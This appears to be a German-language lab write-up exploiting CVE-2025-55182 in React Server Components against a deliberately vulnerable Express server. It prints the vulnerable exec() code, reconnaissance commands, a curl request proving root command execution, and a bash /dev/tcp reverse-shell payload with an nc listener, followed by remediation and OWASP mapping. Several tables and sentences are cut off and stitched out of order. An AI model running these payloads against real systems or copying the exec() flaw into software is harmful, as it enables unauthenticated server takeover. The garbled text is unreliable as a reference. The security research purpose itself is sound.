
Sicherheitsforschung & Exploitation-Analyse von CVE-2025-55182 (React) — CVSS + OWASP Top 10 Mapping
Analyse von Webanwendungssicherheitslücken · M2 Cybersecurity · 2025 Autor: Niane Mohamed · LinkedIn
Ende-zu-Ende-Ausnutzungskette einer kritischen (CVSS 10.0) unsicheren Deserialisierungsschwachstelle in React Server Components, von der Aufklärung bis zur nicht authentifizierten Remote-Codeausführung, mit vollständigem Sanierungsfahrplan.
Diese Forschung zielt auf eine absichtlich anfällige Laboranwendung ab, die zur Demonstration des CVE erstellt wurde. Alle Tests fanden in einem isolierten virtuellen Netzwerk ohne Verbindung zu Produktionssystemen, echten Benutzerdaten oder Drittanbieterdiensten statt.
React Server Components führten ein neues Serialisierungsformat ein, um servergerenderte Komponenten an den Client zu streamen. In verwundbaren Versionen akzeptiert der RSC-Endpunkt ein JSON-Payload mit einem cmd-Feld, das unsanitisiert an child_process.exec() übergeben wird – als Teil der serverseitigen Rendering-Auswertung.
Ein Angreifer kann eine manipulierte POST-Anfrage senden, die:
root in Containern) ausgeführt wird| Komponente | Verwundbarer Bereich | Behoben in |
|---|---|---|
react | 19.0.0 → 19.2.0 | 19.3.0+ |
Ein minimaler Express + RSC-Server, der einen /rsc-Endpunkt bereitstellt, der unsicher Befehle aus dem eingehenden Payload ausführt – reproduziert das Schwachstellenmuster des echten CVE in kontrollierter Umgebung:
// server.js — simplifiziert, nur für Labor
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.use(express.json({ limit: '2mb' }));
app.post('/rsc', (req, res) => {
const payload = req.body?.payload;
if (typeof payload?.cmd === 'string') {
// VERWUNDBAR: führt angreifergesteuerten String aus
exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: String(err), stderr });
return res.json({ ok: true, out: stdout });
});
}
});
app.listen(3000);
# Port-Erkennung
nmap 192.168.159.131
# → 3000/tcp open ppp (Node.js RSC server)
# Dienstverifikation
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
Der X-Powered-By: Express-Header und der ungewöhnliche Port 3000 liefern einen starken Fingerabdruck, dass es sich um eine Node.js-Anwendung handelt – konsistent mit RSC-Bereitstellungen.
Bevor zerstörerische Maßnahmen ergriffen werden, wird die Schwachstelle mit einem harmlosen Befehl validiert:
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "id" } }'
# Antwort:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
✅ Bestätigt: Nicht authentifizierte RCE als root. Der Server läuft mit uneingeschränkten Privilegien.
Upgrade von Einzelbefehlsausführung auf eine vollständige interaktive Shell:
# Listener auf Angreifermaschine
nc -lvnp 4444
# Payload-Zustellung
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
Listener empfängt:
connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)
Mit root auf dem Ziel könnte ein Angreifer trivial:
/etc/shadow, SSH-Schlüssel, Anwendungsgeheimnisse, .env-Dateien lesenDie geringe Komplexität dieses Angriffs – keine Authentifizierung, keine Benutzerinteraktion, einzelne HTTP-Anfrage – macht ihn attraktiv für:
React auf 19.3.0+ upgraden – gepatchte Version
npm update react react-server-dom-webpack react-server-dom-esm
Temporäre WAF-Regel (falls Upgrade verzögert):
Blockiere POST-Anfragen an /rsc mit JSON-Body, der "cmd"-Feld enthält
Notfallreaktion auf Vorfälle:
/rsc-POST-Verkehr suchen| OWASP-Kategorie | Relevanz |
|---|---|
| A03:2021 — Injection |
curl, Reverse-Shell-Engineering, Payload-ErstellungMIT-Lizenz — siehe LICENSE
Veröffentlicht für Bildungs- und defensive Forschungszwecke. Siehe ethischer Haftungsausschluss oben.
Niane Mohamed — Netzwerk- und Sicherheitsingenieur 📍 Nouakchott, Mauretanien → sucht Möglichkeiten in Deutschland 🇩🇪 📧 [email protected] · 🔗 LinkedIn
| Feld | Wert |
|---|
| CVE | CVE-2025-55182 |
| Klasse | Unsichere Deserialisierung → Remote-Codeausführung |
| CVSS v3.1 | 10.0 (Kritisch) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Authentifizierung erforderlich | Keine |
| Benutzerinteraktion erforderlich | Keine |
| Angriffsvektor | Netzwerk (remote) |
| Komponente | React Server Components (RSC) Runtime |
react-server-dom-webpack | 19.0.0 → 19.2.0 | 19.3.0+ |
react-server-dom-esm | 19.0.0 → 19.2.0 | 19.3.0+ |
| Rolle | Betriebssystem | Werkzeuge |
|---|
| Angreifer | Kali Linux (neueste Version) | nmap, curl, netcat, OWASP ZAP, Firefox |
| Ziel | Ubuntu 22.04.4 | Node.js 18, Express, React 19.0 RSC |
| Netzwerk | VMware VMnet Host-Only | Kein Internetzugang |
| Achse | Auswirkung | Erklärung |
|---|
| Vertraulichkeit | Kritisch | Vollständiger Lesezugriff auf alle Serverdaten |
| Integrität | Kritisch | Fähigkeit, Anwendungscode und Benutzerdaten zu ändern |
| Verfügbarkeit | Hoch | Angreifer kann den Dienst beenden oder Lösegeld fordern |
| Regulatorisch | Schwerwiegend | DSGVO-Verstoß mit 72h-Meldepflicht · mögliche 4% des weltweiten Umsatzes als Geldbuße |
| Ruf | Schwerwiegend | Öffentlicher CVE-gemapte Sicherheitsvorfall schädigt Kundenvertrauen |
| Finanziell | Hoch | Incident Response, behördliche Geldbußen, mögliche Sammelklagen |
| Kontrolle | Zweck |
|---|
| RSC deaktivieren, falls nicht verwendet | Angriffsfläche reduzieren – viele Apps benötigen keine Server-Komponenten |
| Strenge Eingabevalidierung | Jedes deserialisierte Objekt mit ausführbaren Schlüsseln ablehnen |
| Nicht-Root-Container-Benutzer | Schadensbegrenzung bei erneuter RCE |
| Schreibgeschütztes Root-Dateisystem | Persistenz und Binär-Drops verhindern |
| Ausgehende Filterung | Ausgehenden Traffic von App-Servern zu beliebigen IPs blockieren |
| Kontrolle | Zweck |
|---|
| WAF mit Verhaltensanalyse | Anomale POST-Payloads über Signaturregeln hinaus erkennen |
| Runtime Application Self-Protection (RASP) | Gefährliche Funktionsaufrufe wie exec() zur Laufzeit blockieren |
| SCA in CI/CD | Verwundbare Abhängigkeiten vor der Bereitstellung erkennen (pip-audit, npm audit, Trivy) |
| Penetrationstest-Rhythmus | Jährlich + nach Hauptversionen |
| Bug-Bounty-Programm | White-Hat-Offenlegung fördern, bevor Angreifer Probleme finden |
| Command Injection über deserialisierte Eingabe |
| A08:2021 — Software- und Datenintegritätsfehler | Unsichere Deserialisierung ohne Integritätsprüfung |
| A06:2021 — Verwundbare und veraltete Komponenten | Verwendung von React 19.0-19.2 nach Offenlegung |
| A05:2021 — Sicherheitsfehlkonfiguration | Node.js als root ausgeführt, keine Eingabevalidierung |